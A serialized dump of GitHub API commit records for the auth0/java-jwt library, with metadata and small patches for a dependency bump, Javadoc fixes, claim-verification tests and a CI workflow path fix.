following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj}  }(j}  web-flowj}  J/j}  MDQ6VXNlcjE5ODY0NDQ3j}  4https://avatars.githubusercontent.com/u/19864447?v=4j}  h3j}  %https://api.github.com/users/web-flowj}  https://github.com/web-flowj}  /https://api.github.com/users/web-flow/followersj}  <https://api.github.com/users/web-flow/following{/other_user}j}  5https://api.github.com/users/web-flow/gists{/gist_id}j}  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j}  3https://api.github.com/users/web-flow/subscriptionsj}  *https://api.github.com/users/web-flow/orgsj}  +https://api.github.com/users/web-flow/reposj}  6https://api.github.com/users/web-flow/events{/privacy}j}  5https://api.github.com/users/web-flow/received_eventsj}  Userj}  uparents]}(j}  (3b153a0ded5053efc2e2841284e90e4793c865c4j}  \https://api.github.com/repos/auth0/java-jwt/commits/3b153a0ded5053efc2e2841284e90e4793c865c4j}  Qhttps://github.com/auth0/java-jwt/commit/3b153a0ded5053efc2e2841284e90e4793c865c4uastats}(totalK	additionsK	deletionsKufiles]}(j}  (fbc88df89a3476b2e732e3ba931e94d9733fb3c9filenamelib/build.gradlestatusmodifiedj}  Kj}  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/d923e992b157ea54493ecaa5e35c73c382fff7ff/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/d923e992b157ea54493ecaa5e35c73c382fff7ff/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=d923e992b157ea54493ecaa5e35c73c382fff7ffpatchXi  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.1'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(60220a3fb55e5953dcc26a6306c12de1320310cd}(sha(60220a3fb55e5953dcc26a6306c12de1320310cdnode_idEC_kwDOAQtL0doAKDYwMjIwYTNmYjU1ZTU5NTNkY2MyNmE2MzA2YzEyZGUxMzIwMzEwY2Qcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-28T08:16:04Zu	committer}(j~  
Poovamraj T Tj~  poovamraj@gmail.comj~  2022-03-28T08:16:04Zumessage!Fixed Lint Issue (Missing Period)tree}(j}  (0c386476e6cbf523bc18867ddee547c8ebf347c0url^https://api.github.com/repos/auth0/java-jwt/git/trees/0c386476e6cbf523bc18867ddee547c8ebf347c0uj~  `https://api.github.com/repos/auth0/java-jwt/git/commits/60220a3fb55e5953dcc26a6306c12de1320310cd
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj~  \https://api.github.com/repos/auth0/java-jwt/commits/60220a3fb55e5953dcc26a6306c12de1320310cdhtml_urlQhttps://github.com/auth0/java-jwt/commit/60220a3fb55e5953dcc26a6306c12de1320310cdcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/60220a3fb55e5953dcc26a6306c12de1320310cd/commentsj}  }(login	poovamrajidJ j}  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j~  &https://api.github.com/users/poovamrajj~  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj~  }(j"~  	poovamrajj$~  J j}  MDQ6VXNlcjE1OTEwNDI1j&~  4https://avatars.githubusercontent.com/u/15910425?v=4j(~  h3j~  &https://api.github.com/users/poovamrajj~  https://github.com/poovamrajj+~  0https://api.github.com/users/poovamraj/followersj-~  =https://api.github.com/users/poovamraj/following{/other_user}j/~  6https://api.github.com/users/poovamraj/gists{/gist_id}j1~  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j3~  4https://api.github.com/users/poovamraj/subscriptionsj5~  +https://api.github.com/users/poovamraj/orgsj7~  ,https://api.github.com/users/poovamraj/reposj9~  7https://api.github.com/users/poovamraj/events{/privacy}j;~  6https://api.github.com/users/poovamraj/received_eventsj=~  Userj?~  uparents]}(j}  (c68129bfd64e13bdd5d1a7255d3e059d2cee5218j~  \https://api.github.com/repos/auth0/java-jwt/commits/c68129bfd64e13bdd5d1a7255d3e059d2cee5218j~  Qhttps://github.com/auth0/java-jwt/commit/c68129bfd64e13bdd5d1a7255d3e059d2cee5218uastats}(totalK	additionsK	deletionsKufiles]}(j}  (712e937bd61cfd05e921306fc603a72d4ddffd92filenameGlib/src/main/java/com/auth0/jwt/exceptions/IncorrectClaimException.javastatusmodifiedjY~  KjZ~  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/60220a3fb55e5953dcc26a6306c12de1320310cd/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javaraw_urlhttps://github.com/auth0/java-jwt/raw/60220a3fb55e5953dcc26a6306c12de1320310cd/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.java?ref=60220a3fb55e5953dcc26a6306c12de1320310cdpatchX  @@ -12,7 +12,7 @@ public class IncorrectClaimException extends InvalidClaimException {
 
     /**
      * Used internally to construct the IncorrectClaimException which is thrown when there is verification
-     * failure for a Claim that exists
+     * failure for a Claim that exists.
      *
      * @param message The error message
      * @param claimName The Claim name for which verification faileduau(4e22222b2495817673e35fc28cd2697effd1230bV      }(sha(4e22222b2495817673e35fc28cd2697effd1230bnode_idEC_kwDOAQtL0doAKDRlMjIyMjJiMjQ5NTgxNzY3M2UzNWZjMjhjZDI2OTdlZmZkMTIzMGIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-24T09:56:05Zu	committer}(jv~  
Poovamraj T Tjx~  poovamraj@gmail.comjz~  2022-03-24T09:56:05Zumessage5Add additional tests for predicate based verificationtree}(jn~  (07468831487abb2b44a99afc08eefd714c32d979url^https://api.github.com/repos/auth0/java-jwt/git/trees/07468831487abb2b44a99afc08eefd714c32d979uj~  `https://api.github.com/repos/auth0/java-jwt/git/commits/4e22222b2495817673e35fc28cd2697effd1230b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj~  \https://api.github.com/repos/auth0/java-jwt/commits/4e22222b2495817673e35fc28cd2697effd1230bhtml_urlQhttps://github.com/auth0/java-jwt/commit/4e22222b2495817673e35fc28cd2697effd1230bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4e22222b2495817673e35fc28cd2697effd1230b/commentsjt~  }(login	poovamrajidJ jp~  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j~  &https://api.github.com/users/poovamrajj~  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj|~  }(j~  	poovamrajj~  J jp~  MDQ6VXNlcjE1OTEwNDI1j~  4https://avatars.githubusercontent.com/u/15910425?v=4j~  h3j~  &https://api.github.com/users/poovamrajj~  https://github.com/poovamrajj~  0https://api.github.com/users/poovamraj/followersj~  =https://api.github.com/users/poovamraj/following{/other_user}j~  6https://api.github.com/users/poovamraj/gists{/gist_id}j~  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j~  4https://api.github.com/users/poovamraj/subscriptionsj~  +https://api.github.com/users/poovamraj/orgsj~  ,https://api.github.com/users/poovamraj/reposj~  7https://api.github.com/users/poovamraj/events{/privacy}j~  6https://api.github.com/users/poovamraj/received_eventsj~  Userj~  uparents]}(jn~  (6794bbc97b5e6e733bba9e227bfe0987db9030faj~  \https://api.github.com/repos/auth0/java-jwt/commits/6794bbc97b5e6e733bba9e227bfe0987db9030faj~  Qhttps://github.com/auth0/java-jwt/commit/6794bbc97b5e6e733bba9e227bfe0987db9030fauastats}(totalK	additionsK	deletionsKufiles]}(jn~  (1d80d80218abdc153fddf05d1ed651cc44c40a58filename4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javastatusmodifiedj~  Kj~  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=4e22222b2495817673e35fc28cd2697effd1230bpatchXa  @@ -5,6 +5,7 @@
 import com.auth0.jwt.exceptions.InvalidClaimException;
 import com.auth0.jwt.exceptions.TokenExpiredException;
 import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
@@ -17,9 +18,11 @@
 import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
+import java.util.function.BiPredicate;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
+import static org.mockito.ArgumentMatchers.isNotNull;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -1028,6 +1031,7 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("claimName", (claim, decodedJWT) -> "claimValue".equals(claim.asString()))
+                .withClaim(PublicClaims.ISSUED_AT, ((claim, decodedJWT) -> false))
                 .build();
 
         DecodedJWT decodedJWT = verifier.verify(jwt);
@@ -1049,8 +1053,15 @@ public void shouldThrowWhenPredicateReturnsFalse() {
                 .verify(jwt);
     }
 
-    // TODO tests for:
-    //  null predicate claim handling (removed from expectedClaims)
-    //  behavior when using predicate with public claims
+    @Test
+    public void shouldRemovePredicateCheckForNull() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                .withClaim("claimName", (BiPredicate<Claim, DecodedJWT>) null)
+                .build();
+
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("claimName")));
+    }
 
 }uau(7837e3cac968eab82e4aba7d724e56339946ba2f}(sha(7837e3cac968eab82e4aba7d724e56339946ba2fnode_idEC_kwDOAQtL0doAKDc4MzdlM2NhYzk2OGVhYjgyZTRhYmE3ZDcyNGU1NjMzOTk0NmJhMmYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T11:02:45Zu	committer}(j~  
Poovamraj T Tj~  poovamraj@gmail.comj~  2022-03-25T11:02:45Zumessage.Merge branch 'v4-dev' into null-claim-handlingtree}(j~  (73363648c3086a9fb7b355db9f0eb9ae4ec6a9b9url^https://api.github.com/repos/auth0/java-jwt/git/trees/73363648c3086a9fb7b355db9f0eb9ae4ec6a9b9uj~  `https://api.github.com/repos/auth0/java-jwt/git/commits/7837e3cac968eab82e4aba7d724e56339946ba2f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj~  \https://api.github.com/repos/auth0/java-jwt/commits/7837e3cac968eab82e4aba7d724e56339946ba2fhtml_urlQhttps://github.com/auth0/java-jwt/commit/7837e3cac968eab82e4aba7d724e56339946ba2fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/7837e3cac968eab82e4aba7d724e56339946ba2f/commentsj~  }(login	poovamrajidJ j~  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j~  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj~  }(j  	poovamrajj  J j~  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j~  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj!  ,https://api.github.com/users/poovamraj/reposj#  7https://api.github.com/users/poovamraj/events{/privacy}j%  6https://api.github.com/users/poovamraj/received_eventsj'  Userj)  uparents](}(j~  (52821a15c997d821fe33e752ac45f6779ccb007dj~  \https://api.github.com/repos/auth0/java-jwt/commits/52821a15c997d821fe33e752ac45f6779ccb007dj  Qhttps://github.com/auth0/java-jwt/commit/52821a15c997d821fe33e752ac45f6779ccb007du}(j~  (0029a6363f89c1af43db64a76a002e8169c2656cj~  \https://api.github.com/repos/auth0/java-jwt/commits/0029a6363f89c1af43db64a76a002e8169c2656cj  Qhttps://github.com/auth0/java-jwt/commit/0029a6363f89c1af43db64a76a002e8169c2656cuestats}(totalK 	additionsK 	deletionsK ufiles]u(15202989d733ce695c302d2f2029bd67c919fd99}(sha(15202989d733ce695c302d2f2029bd67c919fd99node_idEC_kwDOAQtL0doAKDE1MjAyOTg5ZDczM2NlNjk1YzMwMmQyZjIwMjliZDY3YzkxOWZkOTkcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-08-30T00:32:23Zu	committer}(jU  Jim AndersonjW  jimranderson@gmail.comjY  2022-08-30T01:16:49Zumessage5[SDK-3816] Update docs for verification thread-safetytree}(jM  (ca886cb4ac2ac32965620907d9352143ab640b30url^https://api.github.com/repos/auth0/java-jwt/git/trees/ca886cb4ac2ac32965620907d9352143ab640b30uje  `https://api.github.com/repos/auth0/java-jwt/git/commits/15202989d733ce695c302d2f2029bd67c919fd99
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuje  \https://api.github.com/repos/auth0/java-jwt/commits/15202989d733ce695c302d2f2029bd67c919fd99html_urlQhttps://github.com/auth0/java-jwt/commit/15202989d733ce695c302d2f2029bd67c919fd99comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/15202989d733ce695c302d2f2029bd67c919fd99/commentsjS  }(login
jimmyjamesidJ7 jO  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3je  'https://api.github.com/users/jimmyjamesjq  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj[  }(jv  
jimmyjamesjx  J7 jO  MDQ6VXNlcjI3NjIyNQ==jz  2https://avatars.githubusercontent.com/u/276225?v=4j|  h3je  'https://api.github.com/users/jimmyjamesjq  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jM  (298b95458199fce91a44872c268530edcd2f2233je  \https://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233jq  Qhttps://github.com/auth0/java-jwt/commit/298b95458199fce91a44872c268530edcd2f2233uastats}(totalK	additionsK	deletionsKufiles](}(jM  (07c86a4c59c91e22c3b4cd56aac8f0275042e784filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/15202989d733ce695c302d2f2029bd67c919fd99/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/15202989d733ce695c302d2f2029bd67c919fd99/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=15202989d733ce695c302d2f2029bd67c919fd99patchX  @@ -46,7 +46,11 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
     }
 
     /**
-     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     * {@link Verification} implementation that accepts all the expected Claim values for verification, and
+     * builds a {@link com.auth0.jwt.interfaces.JWTVerifier} used to verify a JWT's signature and expected claims.
+     *
+     * Note that this class is <strong>not</strong> thread-safe. Calling {@link #build()} returns an instance of
+     * {@link com.auth0.jwt.interfaces.JWTVerifier} which can be reused.
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;u}(jM  (2756ddd88142eff2aa756aad6bc78facd09c3c21j  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/15202989d733ce695c302d2f2029bd67c919fd99/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/15202989d733ce695c302d2f2029bd67c919fd99/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=15202989d733ce695c302d2f2029bd67c919fd99j  XO  @@ -4,7 +4,19 @@
 
 
 /**
- * Used to verify the JWT for its signature and claims.
+ * Used to verify the JWT for its signature and claims. Implementations must be thread-safe. Instances are created
+ * using {@link Verification}.
+ *
+ * <pre>
+ * try {
+ *      JWTVerifier verifier = JWTVerifier.init(Algorithm.RSA256(publicKey, privateKey)
+ *          .withIssuer("auth0")
+ *          .build();
+ *      DecodedJWT jwt = verifier.verify("token");
+ * } catch (JWTVerificationException e) {
+ *      // invalid signature or claims
+ * }
+ * </pre>
  */
 public interface JWTVerifier {
 u}(jM  (b4adcf5c6fd64b478abb9110c29508819a5236eaj  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/15202989d733ce695c302d2f2029bd67c919fd99/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://github.com/auth0/java-jwt/raw/15202989d733ce695c302d2f2029bd67c919fd99/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=15202989d733ce695c302d2f2029bd67c919fd99j  X  @@ -7,7 +7,9 @@
 import java.util.function.BiPredicate;
 
 /**
- * Constructs and holds the checks required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid. Note that implementations are
+ * <strong>not</strong> thread-safe. Once built by calling {@link #build()}, the resulting
+ * {@link com.auth0.jwt.interfaces.JWTVerifier} is thread-safe.
  */
 public interface Verification {
 ueu(735ea3cfb1faddd84b591da57399aa8cac16e838}(sha(735ea3cfb1faddd84b591da57399aa8cac16e838node_idEC_kwDOAQtL0doAKDczNWVhM2NmYjFmYWRkZDg0YjU5MWRhNTczOTlhYThjYWMxNmU4Mzgcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-08-16T02:50:34Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2023-08-16T02:50:34Zumessagefix reports uploadtree}(j  (8e4c5cdbb4123f5485814018eb63f2cebec17482url^https://api.github.com/repos/auth0/java-jwt/git/trees/8e4c5cdbb4123f5485814018eb63f2cebec17482uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/735ea3cfb1faddd84b591da57399aa8cac16e838
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/735ea3cfb1faddd84b591da57399aa8cac16e838html_urlQhttps://github.com/auth0/java-jwt/commit/735ea3cfb1faddd84b591da57399aa8cac16e838comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/735ea3cfb1faddd84b591da57399aa8cac16e838/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j
  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (11c60ac596b5617aa22bd16e002b8a5d770b1ec5j  \https://api.github.com/repos/auth0/java-jwt/commits/11c60ac596b5617aa22bd16e002b8a5d770b1ec5j  Qhttps://github.com/auth0/java-jwt/commit/11c60ac596b5617aa22bd16e002b8a5d770b1ec5uastats}(totalK	additionsK	deletionsKufiles]}(j  (f86ed60e25188096967f4ec9287f830d43a37e38filename$.github/workflows/build-and-test.ymlstatusmodifiedj2  Kj3  KchangesKblob_urlxhttps://github.com/auth0/java-jwt/blob/735ea3cfb1faddd84b591da57399aa8cac16e838/.github%2Fworkflows%2Fbuild-and-test.ymlraw_urlwhttps://github.com/auth0/java-jwt/raw/735ea3cfb1faddd84b591da57399aa8cac16e838/.github%2Fworkflows%2Fbuild-and-test.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fbuild-and-test.yml?ref=735ea3cfb1faddd84b591da57399aa8cac16e838patch@@ -24,4 +24,4 @@ jobs:
       - uses: actions/upload-artifact@v3
         with:
           name: Reports
-          path: build/reports
+          path: lib/build/reportsuau(32935767d3414d1e91feec41ee69159b3d2524eb}(sha(32935767d3414d1e91feec41ee69159b3d2524ebnode_idEC_kwDOAQtL0doAKDMyOTM1NzY3ZDM0MTRkMWU5MWZlZWM0MWVlNjkxNTliM2QyNTI0ZWIcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-20T22:08:35Zu	committer}(jO  GitHubjQ  noreply@github.comjS  2022-10-20T22:08:35Zumessage<Fix .shiprc build.gradle version substitution pattern (#627)tree}(jG  (8768f88ddfa75310b362b5e36c8e1603e75c4598url^https://api.github.com/repos/auth0/java-jwt/git/trees/8768f88ddfa75310b362b5e36c8e1603e75c4598uj_  `https://api.github.com/repos/auth0/java-jwt/git/commits/32935767d3414d1e91feec41ee69159b3d2524eb
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjUcbjCRBK7hj4Ov3rIwAAAykIAA+ujgqDd5dNuinUpyr/vnQI
j0c/qDzQ7EfDwRv7ZRbFLvq/hzv2oopwkkO0prtZ5r4jDtUOY0kLvvdkasqIN97h
RZ3BtB4QzK/xIce8eHyfDouWE6YDXdPP+t0kRZrbaj1uej2qFFAnVx0DQq/8ZM7H
k77rRoLhpPZ+db0a05po3XGFWEZbgs51sgXjJH9Bz+FU9GcA3Cw4qkQapm79sPpJ
S/vtLQfpcUoPlfduXgzZQSE2Lphb6CZtQFPRWVpXcf0UwO2OCtu89QB35tDpypLF
WpRXpzSDKZtF9iBPN6EFzB2x1H3Zj2xYdn5aqK4j18fzajVgxeVMla/O9JO7WG0=
=VzXG
-----END PGP SIGNATURE-----
payloadX  tree 8768f88ddfa75310b362b5e36c8e1603e75c4598
parent 3526fcc80ec15038de1a13a2c84d55d2453c835a
author Jim Anderson <jim.anderson@auth0.com> 1666303715 -0500
committer GitHub <noreply@github.com> 1666303715 -0500

Fix .shiprc build.gradle version substitution pattern (#627)

uuj_  \https://api.github.com/repos/auth0/java-jwt/commits/32935767d3414d1e91feec41ee69159b3d2524ebhtml_urlQhttps://github.com/auth0/java-jwt/commit/32935767d3414d1e91feec41ee69159b3d2524ebcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/32935767d3414d1e91feec41ee69159b3d2524eb/commentsjM  }(login
jimmyjamesidJ7 jI  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j_  'https://api.github.com/users/jimmyjamesjm  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujU  }(jr  web-flowjt  J/jI  MDQ6VXNlcjE5ODY0NDQ3jv  4https://avatars.githubusercontent.com/u/19864447?v=4jx  h3j_  %https://api.github.com/users/web-flowjm  https://github.com/web-flowj{  /https://api.github.com/users/web-flow/followersj}  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(jG  (3526fcc80ec15038de1a13a2c84d55d2453c835aj_  \https://api.github.com/repos/auth0/java-jwt/commits/3526fcc80ec15038de1a13a2c84d55d2453c835ajm  Qhttps://github.com/auth0/java-jwt/commit/3526fcc80ec15038de1a13a2c84d55d2453c835auastats}(totalK	additionsK	